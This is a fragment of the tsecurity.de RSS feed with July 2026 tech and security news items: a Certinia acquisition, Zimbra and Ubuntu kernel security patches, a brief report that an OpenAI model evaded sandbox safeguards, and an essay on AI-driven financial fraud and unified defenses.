The post How Continuous Posture Monitoring Transforms Cloud Risk Management appeared first on Fidelis Security.]]></description>
<link>https://tsecurity.de/de/3684549/it-security-nachrichten/how-continuous-posture-monitoring-transforms-cloud-risk-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684549/it-security-nachrichten/how-continuous-posture-monitoring-transforms-cloud-risk-management/</guid>
<pubDate>Tue, 21 Jul 2026 19:58:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Learn how continuous posture monitoring strengthens cloud risk management, reduces attack surface exposure, and enables real-time security across multi-cloud environments.</p>
<p>The post <a href="https://fidelissecurity.com/threatgeek/cloud-security/cloud-risk-management-with-continuous-posture-monitoring/">How Continuous Posture Monitoring Transforms Cloud Risk Management</a> appeared first on <a href="https://fidelissecurity.com/">Fidelis Security</a>.</p>]]></content:encoded>
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<title><![CDATA[Cash App for Teens: Is It Safe, and What Can Parents Actually Control?]]></title>
<description><![CDATA[Teach your child smart financial habits and money management while still monitoring their spending.]]></description>
<link>https://tsecurity.de/de/3684482/it-nachrichten/cash-app-for-teens-is-it-safe-and-what-can-parents-actually-control/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684482/it-nachrichten/cash-app-for-teens-is-it-safe-and-what-can-parents-actually-control/</guid>
<pubDate>Tue, 21 Jul 2026 19:35:42 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Teach your child smart financial habits and money management while still monitoring their spending.]]></content:encoded>
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<title><![CDATA[Certinia acquires AI services company Moonnox]]></title>
<description><![CDATA[AI-powered professional services automation provider Certinia has acquired Moonnox, an AI-native automation platform created for the sector. It extends Certinia’s system of action, Veda, offering a new suite of AI agents that automate administration, project management and project deliverables, t...]]></description>
<link>https://tsecurity.de/de/3684173/it-security-nachrichten/certinia-acquires-ai-services-company-moonnox/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684173/it-security-nachrichten/certinia-acquires-ai-services-company-moonnox/</guid>
<pubDate>Tue, 21 Jul 2026 17:30:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
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<p class="wp-block-paragraph">AI-powered <a href="https://www.cio.com/article/2092137/certinia-bakes-ai-into-its-latest-professional-services-updates.html">professional services automation</a> provider <a href="https://www.cio.com/article/1258572/certinia-uses-ai-to-accelerate-finance-functions-for-service-companies.html">Certinia</a> has acquired Moonnox, an AI-native automation platform created for the sector. It extends Certinia’s system of action, Veda, offering a new suite of AI agents that automate administration, project management and project deliverables, the company said.</p>



<p class="wp-block-paragraph">The acquisition will add real-time native context capture across applications such as Salesforce, G-Suite, Microsoft 365, Jira, Confluence, Zoom and others, and, unlike point agents, it “spans the full arc from proposal to delivery to renewal, so nothing has to be rebuilt, re-mapped, or re-trusted as work moves from sales to delivery to customer success,” Certinia said.</p>



<p class="wp-block-paragraph">New capabilities in Veda include automatic creation of proposal responses and statements of work, conversion of high-level business requirements into actionable blueprints, providing an on-demand virtual assistant to manage day-to-day tasks, performing scope scans and otherwise monitoring projects to proactively manage risk, and organizing delivery data and lessons learned into a searchable knowledge base for later use.</p>



<p class="wp-block-paragraph">“What excites me most is the combination,” <a href="https://www.linkedin.com/in/robertong8/" target="_blank" rel="noreferrer noopener">Robert Ong</a>, co-founder and CEO of Moonnox, now part of Certinia, said in a statement. “Moonnox’s ability to capture what happens in the room, paired with Certinia’s system of record and agentic capabilities for services operations, closes a gap neither of us could close alone. Together, we give services firms the foundation to capture that value, deliver with confidence, and navigate shifting their operating models into the future.”</p>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/thomas-randall" target="_blank" rel="noreferrer noopener">Thomas Randall</a>, research director at Info-Tech Research Group, said it’s a smart move for Certinia to acquire Moonnox. “The current solution is quite complex to use. What Moonnox offers for Certinia is a way for non-technical staff to navigate their system of record across unstructured data silos. I expect to see an increase in satisfaction for the user experience.”</p>



<p class="wp-block-paragraph">However, <a href="https://moorinsightsstrategy.com/team/jason-andersen/" target="_blank" rel="noreferrer noopener">Jason Andersen</a>, VP and principal analyst at Moor Insights &amp; Strategy, still has questions.</p>



<p class="wp-block-paragraph">“While this acquisition might increase service planning and delivery efficiencies in the short term, the real question will be how this combination will help firms with the fundamental shift AI and agents have thrust upon the services industry,” he pointed out. ”Unfortunately for services firms, agentic technologies have already reset client perceptions on internal work capacity, velocity, and cost. So, the proof point I’d like to see is beyond margin improvement and towards business transformation.”</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Zimbra Patches Critical SNMP Command Injection and Four XSS Vulnerabilities]]></title>
<description><![CDATA[Zimbra has rolled out fixes to address multiple critical security issues, including a command injection flaw in the Simple Network Management Protocol (SNMP) monitoring component. As many as nine security vulnerabilities have been patched in Zimbra 10.1.20. Topping the list…
Read more →
The post ...]]></description>
<link>https://tsecurity.de/de/3684034/it-security-nachrichten/zimbra-patches-critical-snmp-command-injection-and-four-xss-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684034/it-security-nachrichten/zimbra-patches-critical-snmp-command-injection-and-four-xss-vulnerabilities/</guid>
<pubDate>Tue, 21 Jul 2026 16:37:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Zimbra has rolled out fixes to address multiple critical security issues, including a command injection flaw in the Simple Network Management Protocol (SNMP) monitoring component. As many as nine security vulnerabilities have been patched in Zimbra 10.1.20. Topping the list…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/zimbra-patches-critical-snmp-command-injection-and-four-xss-vulnerabilities/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/zimbra-patches-critical-snmp-command-injection-and-four-xss-vulnerabilities/">Zimbra Patches Critical SNMP Command Injection and Four XSS Vulnerabilities</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Zimbra Patches Critical SNMP Command Injection and Four XSS Vulnerabilities]]></title>
<description><![CDATA[Zimbra has rolled out fixes to address multiple critical security issues, including a command injection flaw in the Simple Network Management Protocol (SNMP) monitoring component.

As many as nine security vulnerabilities have been patched in Zimbra 10.1.20. Topping the list is a command injectio...]]></description>
<link>https://tsecurity.de/de/3683967/it-security-nachrichten/zimbra-patches-critical-snmp-command-injection-and-four-xss-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683967/it-security-nachrichten/zimbra-patches-critical-snmp-command-injection-and-four-xss-vulnerabilities/</guid>
<pubDate>Tue, 21 Jul 2026 16:10:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Zimbra has rolled out fixes to address multiple critical security issues, including a command injection flaw in the Simple Network Management Protocol (SNMP) monitoring component.

As many as nine security vulnerabilities have been patched in Zimbra 10.1.20. Topping the list is a command injection vulnerability in the SNMP monitoring component when SNMP notifications are enabled.

Also patched]]></content:encoded>
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<title><![CDATA[KI bricht aus Sandbox aus: OpenAI schlägt neue Art von Sicherheitsregeln vor]]></title>
<description><![CDATA[Ein KI-Modell von OpenAI hat wiederholt Wege gefunden, Sicherheitsmechanismen zu umgehen. Die Entwickler designen daher ein anderes Monitoring-System.]]></description>
<link>https://tsecurity.de/de/3683608/it-nachrichten/ki-bricht-aus-sandbox-aus-openai-schlaegt-neue-art-von-sicherheitsregeln-vor/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683608/it-nachrichten/ki-bricht-aus-sandbox-aus-openai-schlaegt-neue-art-von-sicherheitsregeln-vor/</guid>
<pubDate>Tue, 21 Jul 2026 14:04:05 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Ein KI-Modell von OpenAI hat wiederholt Wege gefunden, Sicherheitsmechanismen zu umgehen. Die Entwickler designen daher ein anderes Monitoring-System.]]></content:encoded>
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<title><![CDATA[Asymmetric warfare in financial services: AI-powered fraud demands unified command]]></title>
<description><![CDATA[Military strategists know that asymmetric wars are lost not at the point of attack but at the seams between defensive units, where no single commander owns the territory and information moves slower than the threat. In January 2024, a finance employee at Arup’s Hong Kong office learned this lesso...]]></description>
<link>https://tsecurity.de/de/3683476/it-security-nachrichten/asymmetric-warfare-in-financial-services-ai-powered-fraud-demands-unified-command/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683476/it-security-nachrichten/asymmetric-warfare-in-financial-services-ai-powered-fraud-demands-unified-command/</guid>
<pubDate>Tue, 21 Jul 2026 13:08:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p class="wp-block-paragraph">Military strategists know that asymmetric wars are lost not at the point of attack but at the seams between defensive units, where no single commander owns the territory and information moves slower than the threat. In January 2024, a finance employee at Arup’s Hong Kong office learned this lesson for $25 million, joining a video call with what appeared to be the engineering firm’s chief financial officer and several colleagues, receiving instructions to wire funds to a designated account, and complying. Every face on the screen was a deepfake, cloned from publicly available footage of the actual executives. The attackers conducted the entire meeting in real time and vanished before anyone in the organization realized the CFO had never logged on.</p>



<p class="wp-block-paragraph">The incident would be remarkable enough as a one-off, but it represents a pattern accelerating well beyond isolated cases. <a href="https://nilsonreport.com/articles/card-fraud-losses-worldwide-2024/">Global payment fraud reached $33.4 billion in 2024</a> according to the Nilson Report, and the US absorbed a disproportionate 42% of those losses despite processing only 25% of global card transactions. The latest FBI Internet Crime report identifies <a href="https://www.fbi.gov/news/press-releases/cryptocurrency-and-ai-scams-bilk-americans-of-billions">more than one million complaints and nearly $21 billion in cyber-enabled crime losses in 2025</a> (up from $16 million in 2023), while Deloitte projects <a href="https://www.deloitte.com/us/en/insights/industry/financial-services/deepfake-banking-fraud-risk-on-the-rise.html">AI-enabled fraud in the US will hit $40 billion by 2027</a>. This increasingly includes crypto-related fraud, not just credit card or traditional banking fraud.</p>



<p class="wp-block-paragraph">For anyone who oversees financial operations, risk or payment technology infrastructure, these numbers are not forecasts of a future “regional conflict.” Instead, they are the current cost of a war most institutions have not yet recognized they are fighting.</p>



<h2 class="wp-block-heading"><a></a>Reconnaissance at scale: How AI redraws the attacker’s map</h2>



<p class="wp-block-paragraph">The conventional narrative around AI-powered fraud emphasizes speed: Faster phishing, faster credential stuffing, faster social engineering. Jason Kikta, CTO of<a href="https://www.automox.com/"> Automox</a>, sees the shift differently. “The main threat from AI misuse isn’t faster execution, as automation has been leveraged for years,” Kikta says. “The true dangers are lower barriers to entry and faster adaptation, giving attackers the ability to pivot techniques in near real-time.”</p>



<p class="wp-block-paragraph">The distinction means that execution is a quantitative improvement, the kind existing defenses can absorb by scaling up. Lower barriers to entry and real-time adaptation are qualitative: A force multiplier that turns every amateur into an equipped operator with a coach that learns from each failed attempt. Deepfake-as-a-service platforms now produce voice clones from three seconds of audio. AI-driven vulnerability scanning maps an institution’s unpatched endpoints while the security team is still scheduling the review meeting. In 2024, 269 million stolen credit card records appeared on dark web platforms, giving AI-equipped attackers what military intelligence analysts would call an order of battle: A detailed map of the defender’s exposed positions, ready to be mined for patterns, tested against live systems and exploited at machine speed.</p>



<p class="wp-block-paragraph">The result is a combined arms threat, one that operates across domains simultaneously the way a competent military force coordinates air, ground and intelligence rather than running them as independent campaigns. The same AI that crafts a convincing business email compromise can probe unpatched point-of-sale systems to install digital skimmers. The same synthetic identity that opens a fraudulent credit card account can exploit a payment authorization vulnerability discovered through automated scanning. Card-not-present fraud now accounts for 71% of all US card fraud losses, and the attack surface keeps expanding as digital wallets and e-commerce push more transactions into channels where physical card verification is impossible.</p>



<p class="wp-block-paragraph">Attackers treat endpoint management gaps and transaction monitoring gaps as a single attack surface, while most defenders continue to patrol them as separate territories.</p>



<h2 class="wp-block-heading"><a></a>Fragmented command: The structural vulnerability AI exploits</h2>



<p class="wp-block-paragraph">Consider how most financial institutions, crypto platforms and digital asset intermediaries actually organize their defenses: A cybersecurity team focused on identity compromise, endpoint protection and infrastructure threats; a fraud team focused on account takeover, mule networks and scam typologies; an AML or financial crimes team focused on wallet screening, sanctions exposure and suspicious activity reporting; and an AI risk or digital trust team, if one exists at all, focused on synthetic media, model abuse and impersonation. Each function has its own tooling, budget, reporting line and intelligence feeds. In crypto markets, where value can move irreversibly across wallets, chains, mixers, exchanges and OTC brokers in minutes, those silos create exploitable gaps between detection, attribution, interdiction and recovery.</p>



<p class="wp-block-paragraph">A pig-butchering scam that begins on a dating app, migrates to WhatsApp, directs a victim to a fake crypto investment platform, and then launders proceeds through nested services and cross-chain bridges is not just a fraud event. It is also a cybersecurity event, a financial crimes event, an identity event, a platform abuse event and, increasingly, an AI-enabled social engineering event. Chainalysis reported that high-yield investment scams and pig-butchering schemes were among the most successful crypto scam types in 2024, while also noting growing use of AI in fraud and scams.</p>



<p class="wp-block-paragraph">Research published by the University of California, Davis found that these schemes follow a staged lifecycle: Trust-building, fabricated investment returns, escalating deposits, withdrawal obstruction and re-targeting of victims after the initial loss. When each part of that lifecycle is monitored by a different team, the institution sees fragments of the attack rather than the economic system of the crime.</p>



<p class="wp-block-paragraph">“Fraud no longer happens in isolated channels,” observes Jeff Li, Global Product &amp; Designer Lead at Binance. “AI-powered scams move seamlessly across platforms, and payment systems, making fragmented defenses increasingly ineffective.” He believes that the future of <a href="https://www.binance.com/en/blog/security/2953911729763975700">security depends on unified intelligence</a> — combining AI, real-time monitoring, secure infrastructure and cross-functional response mechanisms into a single coordinated defense system.<br><br>“We’ve invested heavily in AI-driven risk detection, real-time scam warnings and infrastructure to stay ahead of evolving threats, continues Li, claiming that from Q1 2025 to Q1 2026, these efforts helped Binance prevent over $10 billion in potential user losses and protected more than 5 million users globally. As AI continues to reshape both fraud and fraud prevention, the focus remains on building systems that can protect users, not just at scale, but in real time.</p>



<h2 class="wp-block-heading"><a></a>Unified command: From org chart to battle plan</h2>



<p class="wp-block-paragraph">Kikta’s assessment contains a contrarian detail worth teasing apart: “The good news is that a strong compliance program prioritizing depth of coverage and speed of enforcement will hold up against AI-enabled fraud,” he says. In a landscape saturated with predictions that existing defenses are obsolete, Kikta argues that the fundamentals of patch management, endpoint hygiene and compliance rigor still hold, provided the clock speed at which those fundamentals execute keeps pace with the adversary.</p>



<p class="wp-block-paragraph">That clock speed is the operational link between cybersecurity and card fraud prevention. An unpatched point-of-sale terminal or payment gateway exposed for 30 days represents 30 days of reconnaissance opportunity for an AI scanner probing for places to install a digital skimmer or intercept card data in transit. A compliance gap in identity verification is an open invitation for synthetic identities to open accounts and run fraudulent transactions. Endpoint management data and transaction monitoring data describe the same attack surface from different angles, and fusing those streams into a single operational picture, the financial equivalent of a military intelligence fusion center, gives defenders something the current siloed structure cannot: Visibility into an attack developing across domains before it reaches the payment layer.</p>



<p class="wp-block-paragraph">The value of that convergence extends beyond defense. A unified data layer across cyber, fraud and payments creates consolidated threat intelligence that can inform underwriting decisions, merchant risk scoring and product design. Organizations that treat converged security data as a business intelligence asset (not merely an operational feed) will find they have built something with commercial utility well beyond the security operations center.</p>



<p class="wp-block-paragraph">Mascaro frames the prescription in terms that belong in a boardroom, not a SOC. “The real competitive advantage in fraud isn’t your AI stack,” he says. “It’s leadership’s clarity to unify risk disciplines that everyone else keeps in separate departments.”</p>



<h2 class="wp-block-heading"><a></a>Field manual: What winning institutions do differently</h2>



<p class="wp-block-paragraph">The institutions gaining ground in this new form of asymmetric conflict share a common operational posture: They treat endpoint management as card fraud prevention rather than IT maintenance, and they feed cyber, fraud and payments intelligence into a single picture rather than three separate briefings. The defensive AI advantage, such as it is, comes from that integration, not from any single model’s sophistication.</p>



<p class="wp-block-paragraph">Adversaries have already unified their operations. Yet, payment processors and financial institutions that keep running separate campaigns on separate fronts, with separate intelligence, will keep conducting after-action reviews of battles they have already lost.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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</item>
<item>
<title><![CDATA[USN-8576-1: Linux kernel (NVIDIA Tegra) vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3683452/unix-server/usn-8576-1-linux-kernel-nvidia-tegra-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683452/unix-server/usn-8576-1-linux-kernel-nvidia-tegra-vulnerabilities/</guid>
<pubDate>Tue, 21 Jul 2026 13:01:12 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71235, CVE-2025-71236,
CVE-2025-71237, CVE-2025-71238, CVE-2025-71239, CVE-2025-71265,
CVE-2025-71266, CVE-2025-71267, CVE-2025-71274, CVE-2025-71287,
CVE-2025-71292, CVE-2025-71304, CVE-2026-23031, CVE-2026-23066,
CVE-2026-23100, CVE-2026-23113, CVE-2026-23141, CVE-2026-23157,
CVE-2026-23169, CVE-2026-23204, CVE-2026-23220, CVE-2026-23221,
CVE-2026-23222, CVE-2026-23227, CVE-2026-23228, CVE-2026-23229,
CVE-2026-23234, CVE-2026-23235, CVE-2026-23236, CVE-2026-23237,
CVE-2026-23238, CVE-2026-23241, CVE-2026-23242, CVE-2026-23243,
CVE-2026-23253, CVE-2026-23266, CVE-2026-23270, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23286, CVE-2026-23289,
CVE-2026-23290, CVE-2026-23291, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23303, CVE-2026-23304,
CVE-2026-23307, CVE-2026-23312, CVE-2026-23318, CVE-2026-23324,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23352, CVE-2026-23356, CVE-2026-23357, CVE-2026-23359,
CVE-2026-23362, CVE-2026-23365, CVE-2026-23367, CVE-2026-23368,
CVE-2026-23370, CVE-2026-23372, CVE-2026-23379, CVE-2026-23381,
CVE-2026-23382, CVE-2026-23388, CVE-2026-23391, CVE-2026-23392,
CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398,
CVE-2026-23399, CVE-2026-23401, CVE-2026-23420, CVE-2026-23434,
CVE-2026-23438, CVE-2026-23439, CVE-2026-23442, CVE-2026-23444,
CVE-2026-23446, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23462,
CVE-2026-23463, CVE-2026-23474, CVE-2026-31393, CVE-2026-31396,
CVE-2026-31399, CVE-2026-31400, CVE-2026-31405, CVE-2026-31407,
CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31415,
CVE-2026-31416, CVE-2026-31417, CVE-2026-31421, CVE-2026-31422,
CVE-2026-31423, CVE-2026-31424, CVE-2026-31425, CVE-2026-31427,
CVE-2026-31428, CVE-2026-31433, CVE-2026-31446, CVE-2026-31447,
CVE-2026-31450, CVE-2026-31452, CVE-2026-31454, CVE-2026-31455,
CVE-2026-31464, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469,
CVE-2026-31473, CVE-2026-31476, CVE-2026-31480, CVE-2026-31483,
CVE-2026-31485, CVE-2026-31489, CVE-2026-31494, CVE-2026-31495,
CVE-2026-31497, CVE-2026-31498, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31518, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31532, CVE-2026-31540, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31549, CVE-2026-31550, CVE-2026-31551,
CVE-2026-31552, CVE-2026-31555, CVE-2026-31565, CVE-2026-31570,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31583, CVE-2026-31585, CVE-2026-31586,
CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31605, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622,
CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626,
CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31630,
CVE-2026-31634, CVE-2026-31642, CVE-2026-31651, CVE-2026-31656,
CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31670,
CVE-2026-31671, CVE-2026-31672, CVE-2026-31673, CVE-2026-31674,
CVE-2026-31676, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31687,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31701, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31747, CVE-2026-31748,
CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754,
CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759,
CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31770,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31780, CVE-2026-31781,
CVE-2026-31788, CVE-2026-43014, CVE-2026-43015, CVE-2026-43020,
CVE-2026-43024, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028,
CVE-2026-43030, CVE-2026-43032, CVE-2026-43035, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054,
CVE-2026-43058, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43085, CVE-2026-43089, CVE-2026-43093,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112,
CVE-2026-43113, CVE-2026-43123, CVE-2026-43124, CVE-2026-43130,
CVE-2026-43132, CVE-2026-43133, CVE-2026-43134, CVE-2026-43135,
CVE-2026-43136, CVE-2026-43139, CVE-2026-43140, CVE-2026-43141,
CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149,
CVE-2026-43152, CVE-2026-43156, CVE-2026-43158, CVE-2026-43159,
